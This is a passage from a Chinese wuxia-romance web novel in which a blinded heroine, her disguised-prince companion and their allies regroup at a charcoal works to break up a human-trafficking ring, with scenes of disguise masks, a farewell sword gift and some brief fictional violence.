剩下的三个人却犯了难，白邵禾忧愁地看着她，她背上的伤口一碰到就痛，她要怎么睡？
趴在床上睡，更不可能。她脸往左会碰到头上的大包，脸往右又会压到脖子上的伤口……
昨天她能睡好，完全是因为白邵禾时刻帮她保持着侧躺的姿势，她稍微碰到伤口，也不会自己调整姿势，而是窝在他怀里痛得直哼哼。
想起这个，白邵禾就颇为头疼，可他现在又不能直接提议，让她跟自己睡在一起。
王老怪也左右打量起她的伤势，无奈地摇头：“不是，你这伤口你要怎么睡呢？实在不行，你跟白公子睡一起，让他帮忙照顾一下你算了。”
她们两个两情相悦，这是大家都看在眼里的事情。
若说她受伤前，白邵禾眼神还有些收敛的话，那现在他可谓是藏都不藏了。
秦千千不知道出于何种目的，无时无刻不在压制自己的情愫，王老怪也是看在眼里的。这也让他不由得唏嘘，她年纪轻轻的，的确担负了太多太多的事情。
他平时尊重秦千千的决定，可现在她这么虚弱，就不用再强装没事了。
再说，这里好手好脚的一共就三个人，除了自己和元德，也没剩别人了啊。
王老怪丝毫不怀疑，他要是提议元德跟自己照顾，白邵禾指不定直接抽刀都要过来跟他们搏命了……
“哎呀，我真的没事，你们也快去睡觉吧。”秦千千潇洒地摆手，让他们赶紧走。
夜半，她盘腿坐在床上，一个打盹头直接撞到墙上。好在是撞到没有受伤的额头，她实在熬不住，但又真的睡不着。
听着那沉闷的一声“咚”，又有几声咬着牙抽气的声音，白邵禾心中气急了，不能让她再这么折腾下去了，他决定去找她。
刚走到门口，门外就传来了敲门声。
“邵禾兄，你睡了吗？”
白邵禾完全想不到她是怎么抹黑过来的，他连忙打开门，伸手扶住她。就这样，秦千千后半夜算是睡了个好觉。
王老怪起个大早去街市的时候，发现白邵禾屋子的门是开着的，他自觉地探头进去看，发觉屋中没人后，王老怪嘴角浮现一抹微笑。
行行行，这一撞算是把铁树撞开花了！
而且还是两棵铁树！
这等双喜临门的好日子，王老怪决定去外面买些好吃的，庆祝一下。他提着一大堆药包回来时，正好看见元德在吃饭。
“哎？千千她们两个还没起吗？早饭少吃点，中午吃我买的好东西！”
元德本不贪嘴，但他就是好奇，王老怪买了什么好东西。客栈中味道繁杂，可他还是透过那包的严实的纸包中，闻到了一丝肉味儿。
不过为了不驳他的面子，元德假装不知道。
秦千千醒来的时候，习惯性地攥了一下手，结果捏到了白邵禾的大拇指。她这才发现，他把自己的手放在他的手心，四指虚搭在自己手背。
这种亲昵的动作，让她呆愣地眨了下眼。虽然看不见，但她还是心虚地抬头，被他瞄了一眼。
白邵禾醒得比她早得多，因此她这些小动作，他是看了个真切。只不过他什么都没有表现出来，就想看看她到底要干什么。
秦千千慢慢松开左手，准备悄无声息地把手从他掌心撤出去，几乎就要成功的时候，白邵禾的手突然往前一够，又抓住了她的手。
她被这突然的动作吓了一跳，他的拇指在她手心揉了揉，当做安抚。而他在秦千千头顶小声笑了起来，秦千千恼羞成怒地抽出自己的手。
“有什么好笑的！”秦千千利落地从床上坐起来，两个人都是和衣而卧，因此她直接把被子掀了过去。
看她这流畅的动作，白邵禾眼中欣慰极了。看来她背上的伤口好了很多，昨天一动就痛，今天这都几乎能随心所欲地活动了。
“我是突然觉得，你像是兔子，怎
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么一惊一乍都会吓到你？”他心里柔软的一塌糊涂，于是语气温柔地跟她说笑。
谁知道今天的秦千千，脾气不太好。
她耸了下鼻子，一脸不屑：“我主人说我这是心思机敏，天赋异禀之人！”
白邵禾这次忍住了笑声，生怕再笑出声她真的要跟自己绝交了。不过他也不奇怪，姜千秋的确是很会哄她。
本就心情不好的秦千千，碰上了一个劲儿卖关子的王老怪，她气不打一处来。
可听到他是为自己接风洗尘，这才按捺住要发作的脾气，忍到中午。
“看看看看！这驴肉火烧怎么样，是不是闻起来就很好吃！”
除了眼神不行的秦千千，另外两个人都不可思议地看着王老怪，这种东西不应该趁热吃吗？提前买回来，现在都凉了，风味最起码少一半啊！
秦千千深吸一口气，十分不悦地眯了下眼，这就是王老怪早饭只让她喝一碗粥，要腾肚子出来吃的“好东西”？
看她要发作，王老怪赶忙给白邵禾使眼色，白邵禾无奈地摇摇头，今天他也不好使。她从早上开始到现在，一直在跟自己闹别扭呢。
白邵禾觉得，她这应该是恼羞成怒吧？
虽然白天冷落他，可是吃晚饭的时候，她可是很会为自己考虑的。原本倔强了一天自己吃饭，晚上的时候突然让白邵禾喂她了。
白邵禾不在乎她打自己的主意，仍旧心甘情愿地喂她吃饭。他清楚，秦千千跟谁过不去，都不会跟她自己过不去。没有他这个睡眠搭档，她又怎么能好好睡觉呢？
在她入睡前，白邵禾主动跟她说话，“等过两日，咱们一同去找桃花和桑风雪吧？”
“我不去。”
白邵禾本以为她还在闹脾气，就低头看她，看她一脸悲伤的样子，就知道这其中肯定有事儿。
“怎么了吗？”
“现在我已经不是清风酒楼的老板了，我只是一个该死但还没死的人，她们也有接下来的事情要忙，所以，没必要再见面了。”
每次听她这么说自己，白邵禾心里就很不是滋味，若是说她这次是抱着必死的决心被逮住的，那这不是已经死里逃生了，为何还要这么说呢？
听了他的疑问，秦千千今天终于笑了一次。
“怎么可能这就结束了，你还没看懂吗？不是清风酒楼舍弃了我，而是我舍弃了清风酒楼。不然，他日天子震怒，说不定会殃及清风酒楼。”
白邵禾神色一凛，这的确是弃车保帅的一个法子。可他很是奇怪，她宁愿为此去死、去离开待了那么久地方，也不愿意叫出姜千秋吗？
“千千，你能告诉我，你主人为何对你那么重要吗？”
问出这个问题后，秦千千沉默良久，最终她还是摇摇头，没有回答这个问题。白邵禾也不勉强她，替她扯了扯被子，搂着她入睡。
远在百里之外的桑风雪，在街巷中看到一个久违未见的故人，她快步跑过去，在街巷的尽头看清了那个人。
是楚风，她绝对不会看错的！
114. 她的任务算是完成了
桑风雪打发桃花花和冬芸先回去，她自己急匆匆地去找楚风。其实说起来，她和楚风也仅仅是点头之交而已。
可桑风雪知道她的遭遇，因为当初秦千千帮她的时候，桑风雪当时也在清风酒楼。她常年在外漂泊，不定期会去清风酒楼停留几天，当时正巧撞上楚风。
现如今楚风从那龙潭虎穴中逃出来，一定急需地方躲避，想到这点，桑风雪就加快了步伐。
拐过眼前的巷子时，桑风雪看到了站在不远处等她的人。
“桑风雪，好久不见。”楚风眉眼间都是疲累，可她整个人都很兴奋，那是疲累遮挡不住的兴奋。
桑风雪欣慰地点头，朝她走去。
秦千千一觉到天亮，今天浑身上下没有那么痛了，她试着活动肩胛骨，发现背上的伤口也好多了，不由得脸上泛起一阵笑意。
原本她们一行人要去哪里，都是秦千千定夺的，而她是跟着酒楼巡商的计划走，可现在她已经跟酒楼毫无关系了，白邵禾他们就好奇，接下来她们要动身去何处。
“其实上次算是失误，我本来大家已经辛劳了一路，想带着大家去璃光海好好歇歇的，结果没想到，我刚到那里就出了意外，让大家都心惊胆战的。”
想起那件事情，她看起来还有些后怕，不过转瞬间眉眼都舒展了。
“不过眼下也不是该出去游玩的时间，也不知道任楚君和邢历帆她们那里怎么样了。”
她话中的意思，其实还是想让他们去帮忙。毕竟王老怪也说了，她这是慢病得静养，可人贩子的事情，拖沓不得。
王老怪对那边的情况十分清楚，他开口宽慰她：“没了咱们两个拖油瓶，她们两个那才叫一个得心应手呢！”
他又说起第一次去救人，秦千千被恶人踹伤胳膊的事情，白邵禾一脸担忧地看向她的胳膊，秦千千似乎察觉到了他的视线，就连忙说自己没事。
“被他们踹伤胳膊，比起我后来遭的罪，那可真是九牛一毛了啊！”
秦千千看刚刚自己的暗示没人搭话，就直白地说出她的计划。
“邵禾兄，以我来看，你和元德还得回去保护桃花花她们。王老怪你回去帮任楚君她们吧，万一救出来的人有什么伤病，你还可以帮帮忙。而我到时可以找个地方寄养一下就行，我知道……”
三个人的表情都凝重起来，特别是白邵禾，他几乎没有拒绝过秦千千，可现在他却拒绝的很干脆。
“别的事情都好说，但现在我是不会把你任意安置到哪里的，那不跟把你拱手让给对你图谋不轨的人一样？”
她听得出白邵禾在强压心中的怒火，可眼前这个情况，她总不能指望桃花花提刀开杀，剿灭人贩子团伙吧？
“是啊千千，你现在身体这个样子，任谁都不忍心把你随便丢弃到那里去的。我相信桃花那边，不是还有线人帮忙吗？她们一定应付的来的。”
王老怪只能尽量宽慰她，虽然他完全想不出，桃花花对线人发号施令的样子。不管她怎么说，王老怪依旧觉得，清风酒楼是不会那么轻易放弃她的。
白邵禾不再言语，四人坐在桌边陷入了诡异的沉默，最后还是秦千千打破了这个沉默。
“好吧，那我们现在就启程去找桃花，到时我在芳草阁的庇佑下，你们总该放心办你们该办的事情了吧？”
她只得退了一步，说出这个提议。白邵禾脸色这才缓和了下来，他现在不想那么多，只想等她身体恢复后，然后直接跟她坦白所有事情。
而昨天他也修书回京，尽量拖延些时间。反正将在外君令有所不受，他心意已决，不会再逼迫她了。
说走就走，在秦千千的催促下，他们吃过午饭就租了马车直接往岭北赶。
路上秦千千从白邵禾的讲述中，了解到桑风雪和桃花花暂时歇脚在一个卖炭店中。
“当初去那里，桃花还嫌弃那里很脏，不过也就抱怨两句，还是老实住下了。”白邵禾给她和王老怪讲当时的情况，听得秦千千忍俊不禁地笑出声。
“脏？碳可是世上最干净的东西了，桃花依旧是有眼无珠呀。”
正在为秦千千近况流泪的桃花花，完全没想到，她现在正在说自己的坏话。她完全没想到，故人重逢不是给她带来喜悦，而是带了个无边的痛苦。
“怎么眼睛会看不见了呢！”桃花花急得不行，“千千怎么可能那么傻，她怎么会自己撞上墙！”
桑风雪也觉得难以置信，可楚风怎么会在这种事情上撒谎，不过她又很为楚风感慨，现在她总算是获得了自由。
“所以我们的遇见，纯属是偶遇吗？”桑风雪问她，楚风摇头，江湖那么大，怎么可能偏偏给她们偶遇上？
是秦千千给她指了个方向，让她冒险来岭北。
“千千跟我说这里会有人帮助我，我完全没有想到是你们，所以接下来我们要怎么办？”
楚风抬头四处看，她们在卖炭坊的烧碳场里，这四周除了几座一人高的炭窑，就是开阔的空地了，这让她感觉很不安。
桑风雪拍着她肩膀安慰她，“放心，这里都是清风酒楼的地盘，谁也不敢来这里造次的。”
“是啊，你先去换身衣服吃些饭，咱们这几天就留在这里，等千千过来，咱们再商议怎么做。”桃花花转头看着外出玩耍的冬芸回来，就先招呼楚风去换衣服了。
原本一天的路程，秦千千她们硬是走了两天。或许是由于她头上的伤，以至于只要马车颠簸两个时辰，她就要下车大吐特吐。
好不容易赶到岭北边，秦千千不打算坐马车进镇，一行人下车步行进镇。没走多大一会儿，冬芸就看到了她们，立马跑过来迎她们。
“冬芸，几天不见，你想我了吗？”秦千千拉着冬芸的手，笑着问她，冬芸却有些笑不出来。
“千千姐，我知道镇上有家栗子特别好吃，我这两天天天去买，就是想等你来了给你吃，咱们快回去吧。”
冬芸有些胆怯地跟白邵禾点头打招呼，秦千千有了冬芸牵，就直接放开了白邵禾的手，由着冬芸带她。
白邵禾有些不悦但又不敢放松警惕，万一她被绊到，冬芸还是指望不
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上的。
他就一直与她们同行，可没想到这两个人相当默契，秦千千就这么安然无恙地穿过卖炭坊的前堂，到了卧房前。
屋中的人听到动静，慌慌张张地跑出来。看到秦千千惨白、近乎毫无血色的脸，头上脖子上都缠着缚布，桃花花的眼泪唰地流了下来。
她跑过来抱秦千千，却被白邵禾伸手拦住。
“她背后全是伤口，你别碰到她的伤口了。”
正在对她善意提醒的白邵禾，瞄到从屋中出来的人时，表情顿时呆愣住了，楚风怎么在这里？
显然，楚风也没想到会在这里见到他，她一言不发地盯着白邵禾与元德。
白邵禾心中突然十分庆幸，若是秦千千眼睛无恙的话，她一定能察觉到一些异样。可现在的她，什么都察觉不到。
“走吧，快让我进屋歇歇，这一路差点没给我折腾死。”桃花花和冬芸搀着她进屋，桑风雪走上前，带白邵禾他们去别的房里歇歇。
“给你们介绍一下，这是我的故友楚风，她最近会跟我们在一起。”介绍完她后，桑风雪又给楚风介绍这三位。
元德的心已经提到了嗓子眼，他生怕楚风当场出卖他们。不过转念一想，殿下当时放了她，她若是懂点江湖道义，就不会出卖他们。
白邵禾只在看到她的一刹那心惊过，因为当时他拿不准这人的心思，可那时她没有揭发自己，那接下来他就不担心了。
楚风挨个跟他们打招呼，王老怪客套一下后，立马让她俩赶紧回去。
“我怀疑她背上的伤又重了，这一路她状况很不好，所以你们赶紧去看看她的伤势，这几瓶药拿去给她处理伤口用。”
桑风雪和楚风赶忙回屋，桃花花看到那些伤口的时候，差点把自己嘴唇都咬破，她不忍再看皱眉闭上眼，桑风雪和楚风配合着给她上药，然后又重新包扎好。
秦千千强打起精神，问她们情况怎么样。
“好在现在天凉，不然这伤口说不准就……”桑风雪担忧地说起伤势，秦千千却摇头，她现在连抬手的力气都没有。
“我是说，酒楼在这里的生意还正常吗？”
桃花花扑到床边，顺势跪在地上：“千千，这里都正常！清风酒的曲蘖，还有咱们烧制酒瓶的泉底泥，一切都没有问题。”
清风酒最重要的四个环节，水、粮、曲蘖和酒瓶。前两个秦千千亲自检查过，这后两个她是日夜担心的。现在听到没问题，她也算是彻底放心了。
她抬手拍拍抵在自己膝上的桃花花，毫不吝啬自己的夸奖：“桃花，这次你做的真好！你们先出去吧，我有些困了，想先休息一下。”
最终还是桑风雪留了下来，楚风跟桃花花去找王老怪他们，得抓紧让他知道秦千千的病情。
元德从冬芸那边了解些近况，发觉她一五一十，说的跟暗卫侦查到的没什么出入后，他才彻底放下心。
桃花花跟着王老怪去拿药，屋中只剩楚风和白邵禾两人。
“我该叫你什么，白公子，还是殿下？你究竟想要做什么？”
115. 你最好信守承诺
白邵禾哑然失笑，没想到第一个因身份跟他对峙的人，居然是楚风。
“那你刚刚为什么不揭穿我？”白邵禾，或者说穆轩岚，他不喜欢回答别人的问题，那让他觉得自己再被他人审问。
比起回答问题，他更喜欢发问。
楚风看了眼门外，生怕现在就有人回来，便长话短说。
“千千现在状态不好，我不想她受伤。你最好给我个合理的解释，不然，我一定会告诉她的。”
楚风虽然不敢保证他是个好人，可总觉得他应该是有难言之隐，而且他应该不会真的伤害秦千千的吧？
白邵禾自顾自地落座，给她一个简短的保证。
“我们两个考虑的事情相同，等她身体好了之后，我一定把实情都告诉她。而且，在你走后的第二天，我本想告诉她真相的，谁知那时才发现她的眼睛出了问题。”
回想起那天的事情，穆轩岚还是觉得不可置信，他只能在心中默念王老怪的话，给自己一些慰藉。
提起那天的事情，楚风也有些无措：“在劫持她前我才发现的，可情形急迫，我就来不及跟任何人说。”
他眨眼扫去眼底的一切阴霾，“她一定会好起来的，我到时也会信守承诺。”
楚风这才离开，白邵禾不放心秦千千的情况，就直接去找桑风雪。亲眼看着躺在床上熟睡的人时，他这才彻底安心。
桑风雪在旁边悄然叹气，白邵禾用眼神询问她怎么了，犹豫再三后，桑风雪还是说出了自己的顾虑。
“我只是惋惜，不知道她该何去何从。”
她压低一些声音，生怕惊动刚刚才睡着的秦千千。向来不会说废话的人，突然说了句废话，白邵禾知道，她这是有事情想跟自己说。
“你若是有什么顾虑，不妨跟我直说。”看她甚是为难的样子，白邵禾就直接问了。
……
果然，自己还是不会拐弯抹角说话。
桑风雪在心中实打实地叹了口气，恢复了往常的爽快：“我想说，等眼前人贩子的事情忙完后，你愿不愿意带着她隐于江湖，护她一世平安？”
随着秦千千巡商的顺利结束，桑风雪再不想承认也不得不承认的是，她真的跟清风酒楼没有关系了。
可她接下来又要何去何从呢？
前两天桃花花拿着密函过来找她，桑风雪才知道，阁主让她通知秦千千，早为她自己做打算。酒楼不会再掺和她未来的所有事情，而那句“生死有命”实在是太过扎眼。
桑风雪知道阁主做什么都是有原因的，哪怕当下她理解不了，时间也总会证明她是正确的。可这件事情，她真的没办法苟同。
她和王老怪这种江湖漂泊的人自然不行，毕竟哪怕秦千千不再掌控酒楼，那她曾经知晓的秘密，依旧会让她成为众矢之的，引无数人趋之若鹜的。
同行之人中，最可靠的就是白邵禾了。
白邵禾也惊呆了，不懂她为什么要这么说？他自然是愿意，可实情是他不可能隐于江湖，若是现在让他带着秦千千离开，那她也只会变成第二个楚风。
甚至，她还没有什么反抗手段。
“有人要杀她？”
桑风雪摇头，若是让她知道阁主的那封信，她怕不是会心碎欲绝，然后放弃活下去的念头。所以，她移步到屋外，如实跟白邵禾说了这事。
整个事情岂止一个荒谬可以形容，白邵禾不解地皱眉，十分为秦千千鸣不平。
“原来在她姜千秋看来，千千就是她一个随手可弃的人？”
桑风雪应该要否定他的，可她说不出来，总觉得现在的事情走向很奇怪。
阁主对千千宠爱有加，甚至可以说是宠溺，这些事情是她清楚知道的。而且培养秦千千，也耗费了阁主好多年的心血，怎么现在突然让她自生自灭？
白邵禾被气得脸色阴沉，看来她姜千秋就是要舍弃秦千千，保住自己了。不管在她身上投入多少心血，那都是为了今日让她为自己赴死铺路。
“呵！”他对姜千秋那些高尚的印象，在这一刻轰然坍塌。
“不管未来如何，我一定尽我所能保护她的。”
桑风雪不知道，他这轻飘飘的一句话，背后有多重的份量。她只是看他这么认真，就选择相信他。
多一个人保护她，总归是好事。
叮嘱他回去休息，桑风雪这才继续回去守着秦千千。
或许是了了心愿，彻底放松下来，秦千千这一觉直接睡到第二天中午，睡得大家都很担心她出什么问题。
王老怪每隔几个时辰，就要过来给她号脉。这次所有人都站在床前等消息，跟前几次一样，王老怪转头耸了耸肩，脉象平稳，正常得很。
而且据桑风雪说，她昨天侧躺下去后，到现在姿势都没有变。要不是王老怪出来说千千没事，她一定会觉得千千这是昏迷了。
“要不把她叫起来吧。”白邵禾现在看她安静不动，就莫名心慌。
桑风雪坐在床边，轻轻拍她的胳膊。被强行叫醒，秦千千的脾气自然有些不好，她皱着眉头平躺在床上，压到背后的伤口后痛得她龇牙咧嘴的。
“哎呦！”
白邵禾赶忙上前，扶着肩膀让她坐了起来。
接收到桃花花的眼神暗示，冬芸跑去床前，拉起她的手。可她还没说话，秦千千就冷着脸开口，一句话让所有人都沉默了。
“人贩子的事情怎么样了？”
这两天大家要么是为她忙，要么是来回奔波休息一下，因此人贩子的事情，是没有一点进展的。可在座的人，也只有白邵禾敢跟她实话实说了。
谁知她一改常态，依旧板着脸，脸上没有丝毫笑意。
“桃花在这里吗？什么时候该做什么事情，别人不清楚，可你要清楚。我都恢复的差不多了，各位肯定也都是，所以请大家抓紧抓住那些人贩子吧。”
白邵禾眉头微蹙，她现在到底是怎么了？
可为了让她开心，他们当即就出去查探情况，卖炭坊中只留了楚风和冬芸两个人
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。有冬芸在，他就能随时知道情况。
秦千千支走冬芸，让她帮自己热饭，而后才跟楚风交了底。她无奈地眨了下眼，眼前的黑暗跟心中的黑暗一样，裹挟得她无法呼吸。
“楚风，你让我摸一摸你的脸，然后你出去买些材料，我给你做几张伪装的面皮。做好后，你就立马离开这里，不管去哪里都好，远离京都，穆元基找不到你的。”
她不能动手自己调制材料，只能让楚风代劳，再加上这次调制的材料更为复杂，因此材料准备好，就已经是傍晚了。
“楚风，待会儿桑姐姐她们回来，你告诉她们我睡了，不用让任何人进来。”秦千千安排好了所有的事情，这才开始揉捏塑型的材料。
不能看着修正轮廓，只能通过指尖的触感调整，秦千千第一张面皮做的格外费劲，耗费了她将近两个时辰。
冬芸送进来的饭早就凉了，楚风几次三番让她先吃饭，她却摇头拒绝，一刻不停地捏着手里半透明的东西。
好不容易成型后，她让楚风先戴在脸上试试，楚风看着镜子中那张陌生的脸庞后，不由得感慨，这真的是神了！
听闻大小合适后，秦千千又拿起塑材准备再做一些，楚风说什么也不让她做了，喂她吃了一些饭后，这才让她继续做。
白邵禾担心她的情况，就过去敲门，跟屋中人说人贩子那边有发现，想跟她商讨一下。
“白公子，明日吧，千千现在已经睡下了。”
秦千千只摇头却不言语，楚风只好代她回绝白邵禾，白邵禾没办法，只能先回去了。
他在屋中来回踱步，不知道秦千千到底准备干什么。冬芸下午什么都不知道，可他的暗卫查出来，楚风出去采买了好几种稀奇古怪的东西。
白邵禾听了材料就知道，她这是又要做假面了，可这假面是给楚风用的，还是她自己用？这他说不好，他现在最害怕她在自己眼前下蒸发。
若是被穆元基的人抓住，他一定会为了问出姜千秋的下落，而下死手的。
不行，他一定要见一面她。
白邵禾坐在她门边的回廊上，深夜，终于听到屋里传来一阵动静。楚风搀着她去茅房，他没有言语，楚风看到门口的人时，朝他皱眉摇头。
确定秦千千入睡后，楚风这才出门找他，两个人走远后，她才开口。
“今天她一直在给我捏伪装的脸皮，可你知道最后一张她做的是谁的吗？”楚风脸色相当难看。
“是她自己吗？”
看到她点头，白邵禾眼眶干涩，无奈地闭上眼睛。他对此已经有了个很不好的猜测，而楚风接下来说的话，也佐证了他的猜想。
“她央求我，隔一段时间就要换上她的脸，在江湖上露面。我猜，她是不是想要寻死？”
楚风觉得自己的心都快跳出来了，她不懂秦千千到底遭遇了什么，会这么坦然赴死。
白邵禾心痛不已，他转身去找秦千千，从何现在开始，他要寸步不离地跟着她，省得她做什么糊涂事！
116. 宝剑赠豪杰
秦千千似乎就在等他，白邵禾一推门，就看到了端坐在床边的人。秦千千朝他拍拍身边的位置，白邵禾坐了过去。
“我就知道她会跟你说，而你也一定会来。”
昏暗的环境，让白邵禾看不清她的脸色，恍惚间，他甚至都觉得她眼睛没有毛病，一切都是她在跟自己开玩笑。
可他坐下后，秦千千并没有转头望着他，而是眼神呆滞地看着前方。白邵禾心中万分无奈，神迹终究还是没有发生。
“所以，你现在愿意跟我说你的打算了吗？”看着她，白邵禾的眉头终于舒展开来。
“当然。”
她做最后一张脸，就是为了引他过来的。只不过这句话，她藏在心中没有说。而且，比起自己接下来要说的事情，这都不算什么了。
“我发现你们有误会我，我走到现在的每一步路，都是我自己选择的，跟酒楼和主人没有一丝一毫的关系。早些时候我不是跟你说，是我舍弃了酒楼而不是反过来吗？”
白邵禾点头，发现她还在歪着脑袋等自己回复时，才立马“嗯”了一声。
“我和主人的事情也是这样，并不存在她抛弃我，弃车保帅的事情，而是我自愿这么做的。”
她转头面向白邵禾，不管他理不理解，自顾自地继续往下说：“这话说给不理智的人听，她们一定以为我这是在逞强，我希望你可以帮我说服大家，这就是我的真实想法。”
秦千千是看在他是自己身边最明事理的人，才决定跟他说这些话的。
在这注定是死局的情况下，她宁愿死的是自己，而非清风酒楼的众人。
“千千，这些在我看来都不重要，我答应了桑风雪，等你身体好了后，我就要带你离开的，你不要想这些乱七八糟的事情了。”
白邵禾察觉到她又要说什么生死之事，就婉转地搁置了她的话。
那个请求，他拒绝。他没办法说服别人相信，因为他自己也不相信这事，谈何让人信服呢？
她浅笑一声，摇了摇头：“我哪也不会去的。其实穆轩岚和穆元基多虑了，他们若想找我，直接来找就是了。”
“所以你上次也是故意被抓的？你甘愿送上门死在他们手上，也不愿意让你神通广大的主人见他们一面吗？”
白邵禾压制不住自己心底的怒火，她还不知道姜千秋把话说的多决绝，就甘愿这么为她去死吗？
“我不懂，他们若只是想见一面她，你为何反应这么大？千千，只是见一面而已，不会有任何人为此去死的。”
他抬手握住她的肩头，不知道该怎么说，才能让她相信自己。但他真的没打算杀了姜千秋，只是要找她问个地方而已。
秦千千抑制不住咳嗽两声，显然，她不这么认为。
“我只能明确跟你说，现在只有两种结果，一是他们见不到主人，我丢掉性命；二是他们见到了主人，那到时候死的人会更多。”
看她言之凿凿的样子，白邵禾惊诧到愣住几秒，再回过神时，他的手已经顺着肩头滑落到她手肘处。
“你胳膊上的伤还好吗？”他话锋突转，聊起别的事情，秦千千点头：“这都不算什么。”
而后两个人陷入诡异的沉默，白邵禾和她独处都是很惬意自在的，可现如今他却想立马逃离，她那话中包含了太多含义，搞得他现在心绪很乱，完全静不下来。
“千千，我觉得你再等一等，你主人既然聪慧过人，就一定能想出个两全的法子。所以你现在千万不要冲动，做出什么傻事，我们一起边养伤边等，总会有法子的。”
白邵禾抓住她的手，语调轻柔地继续说：“相信我好吗？等过了这一坎，我有个大事要告诉你。”
最后一句话勾起了她的好奇心，她眼睛瞪大了两分，求他提前告诉自己。
“那自然不行！快些好起来吧，到时我一定告诉你。”
今夜白邵禾替代了桑风雪，直接在这里守着她入睡，他自己则是坐在床边的地上，冥想到天亮。
一晚上的时间，没有让他想通心里的疑惑。
为何自己见了姜千秋，就要死更多的人，难不成她也不知道云岫山的传说？
可就算这样，他也绝不会乱开杀戒的……
毕竟在他心中也有这个想法，长生本就是虚无缥缈的东西，这种仙山宗门，听起来就虚虚实实的，谁能保证一定是真的呢？
父皇委托自己的时候，也说了尽力而为，他也不会为了不存在的东西大开杀戒的。
算了，现在只能走一步看一步了。他也决不会退缩的，是真是假，他一定要弄明白才行。
外面天光大亮，屋中也跟着明亮起来，他这时才发现桌上晾着的五六张假面，其中有男有女，虽然不及她当初做得那张精致，但以假乱真足够了。
看着最后一张她自己的脸，白邵禾眉心一跳，直接把它叠好装进自己的袖子中。
秦千千刚醒来，就听到他毁了自己心血的噩耗。白邵禾跪在床榻上，饶有兴致地观察她的反应。
她低头浅笑，眉眼间还有一些无可奈何的宠溺。
“好吧，毁了就毁了，我可要好好活着，等你跟我说那件事情呢。”
她这话一说，白邵禾才算是彻底放下心。
不管是真心言语，还是暂时哄骗他的话，白邵禾全都当真了。最起码，她也是会因为自己改变的。
两个人又恢复了往日的关系，桑风雪她们看在眼里，欢喜在心里。
楚风收拾行李时，发现少了一张假面，她甚是欣慰。也好，省得自己在外漂泊时，还要为她忧心。
众人在烧炭场分析人贩子的案件，桑风雪奉命现行退场，转去屋中找楚风。
“你怎么来了？”
楚风略微惊讶，虽然离别在即，但她脸上更多是即将纵横江湖的畅然。
看她这幅样子，桑风雪仿佛看到了另一个自己，她掂了掂自己手上的钱袋子，隔着几步的距离直接扔给她。
楚风察觉到她这是要试探自己，立马纵身一跃伸出右手接过那沉甸甸的荷包，这才发觉，里面装的都是碎银子。
还没来得及问她什么意思
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，那边的桑风雪露出藏在背后的长剑，直接质朴无华地朝她脖颈刺过来。
楚风来不及思考，侧身躲过第一下劈砍，然后起手一掌，桑风雪连人带剑被打得转向一旁。
她顺势在原地转个圈，右手握着剑鞘都没打开的长剑，灵活地挽了个剑花。站定在楚风面前时，桑风雪面带笑意地双手捧剑。
“宝剑赠豪杰！还望千万笑纳。”她微微向前弯腰，抬头笑意盈盈地看着她。
楚风这才恍然大悟，她这是既来送钱，又来送宝剑，顺带测试一下自己的身后，好在自己刚刚没有有眼无珠。
“我说你刚刚怎么把这些钱扔过来，咱们这些人中，现在也就只有千千接不到这个了吧？”
两个人相视一笑，门外的白邵禾却哭笑不得，刚好扶着千千来，就刚好听到这句话。
“咳咳！”秦千千故意发出声音，“我可全都听到了啊！我这又出钱又出力的，还不落一点好，真是世风日下，人心凉薄呀！”
楚风上前两步，给了她一个拥抱。
可就算这样，一旁的白邵禾也没有收起扶着她的手，不远处的王老怪和元德交换了个眼神。
啧，简直没眼看。
“千千，你对我的恩情我没齿难忘，早晚我会回来报答你的。”
虽然看不到她此时的表情，但秦千千精准地抓住她的手，其实是白邵禾抓着楚风的胳膊，把她手塞进千千手里的。
“江湖漂泊，照顾好自己，我会等着你来报答我的。”秦千千说完，众人也不再一一跟她道别，楚风背着行囊离开。
白邵禾搀着她去烧炭场，不知为何，她非要在这里跟他们商议事情。秦千千恢复往日的活泼，她深吸一口气，心情颇好地跟他闲聊。
“我发现我有做瞎子的天赋，你肯定不知道，我现在一抬手就能摸到我想摸的人。”
“噗……”
她说的一本正经，王老怪和桃花花却一同没憋住，差点笑出声。
怪不得她这两天跟谁说话，都要上手摸别人两下，原来是在测验自己的天赋吗？
她不知道，别人可清楚的很。刚开始她们不懂时，白邵禾可被她这奇怪的举动忙得够呛，他得一个一个帮忙，后来大家都清楚了，他这才闲了下来。
“怎么，我说的不对吗？”
“没有没有。”白邵禾赶紧搀着她离开，还眼神警告了王老怪和桃花花，她们两个赶紧抿住嘴。
谁知秦千千把案情听得差不多后，就自己摸索着在地势平坦但障碍林立的烧炭场走动。
白邵禾每看她走远一步，都会跟着揪一次心，可她偏偏不让任何人跟着。
她一圈一圈地走着，中途也不乏撞了好几次炭窑，可越走越顺，到最后，她已经能完整地走下来这个地方。
等她返回原地后，白邵禾他们也商议好了计划，在进行最后的人员分配。秦千千背对着他们蹲在地上，捡起地上的树枝，在地上胡乱勾画。
白邵禾转头一看，才发现她这是把整个烧炭场的地图给画了下来，而且分毫不差。
117. 黑脸的千千被偷亲啦
桑风雪她们没有察觉这边的情况，她们正在发愁，到底要不要留人在这里看着秦千千。
秦千千听得清楚，她噌地一下站了起来，要不是白邵禾拉她一把，她就要歪倒在地上了。
“不用了，你们最多留个冬芸给我就行，剩下的人赶紧去准备救人吧。”
白邵禾跟元德先去报官，以他的身份，调来人手是轻轻松松的。桃花花和王老怪则蹲守在停靠在河边码头，观察那些人的动向，桑风雪则是埋伏在他们真正的老巢外。
等到官兵到了之后，分成两路缉拿这些人。
可白邵禾他们刚去报官，官府根本不管这个事情的。这他也想到了，毕竟能让这么大的组织在此扎根生长，他不信当地的官员全然不知道这事儿。
等他亮明身份，直接派暗卫缉拿了知府，彻底封锁消息后，然后再带着暗卫装扮的官兵，兵分两路去捉贼。
之所以派出武艺高强的暗卫，是因为他想尽早结束这场闹剧，今天是他到了岭北后，第一次任由秦千千自己独处。
虽说她跟自己保证不会消失不见，也不会悄然赴死，可他心底里还是惧怕的。万一她毅然决然这么做了，那他怎么办？
白邵禾安插一个小队跟着她，就是生怕出什么意外。
“元德，你带队去窦府，有拒捕不配合的，当场诛杀就是。”
相比之下，窦府情况比较复杂，可殿下既然都这么说，元德自然知道该怎么办，那就是让他放手去干。除了主谋，剩下的人活不活都无所谓了。
对付这种罪孽深重的人，元德反而想让他们活，然后慢慢折磨他。
当初在隆北道抓住的那个唯一活口，秦千千就把他活埋在土里，只留一个头在外面。
而且那还是阴湿的河边，秦千千当时还贴心地跟他解释，这水中多的是吸血虫，在他死之前，能提前瞻仰一下炼狱风貌了。
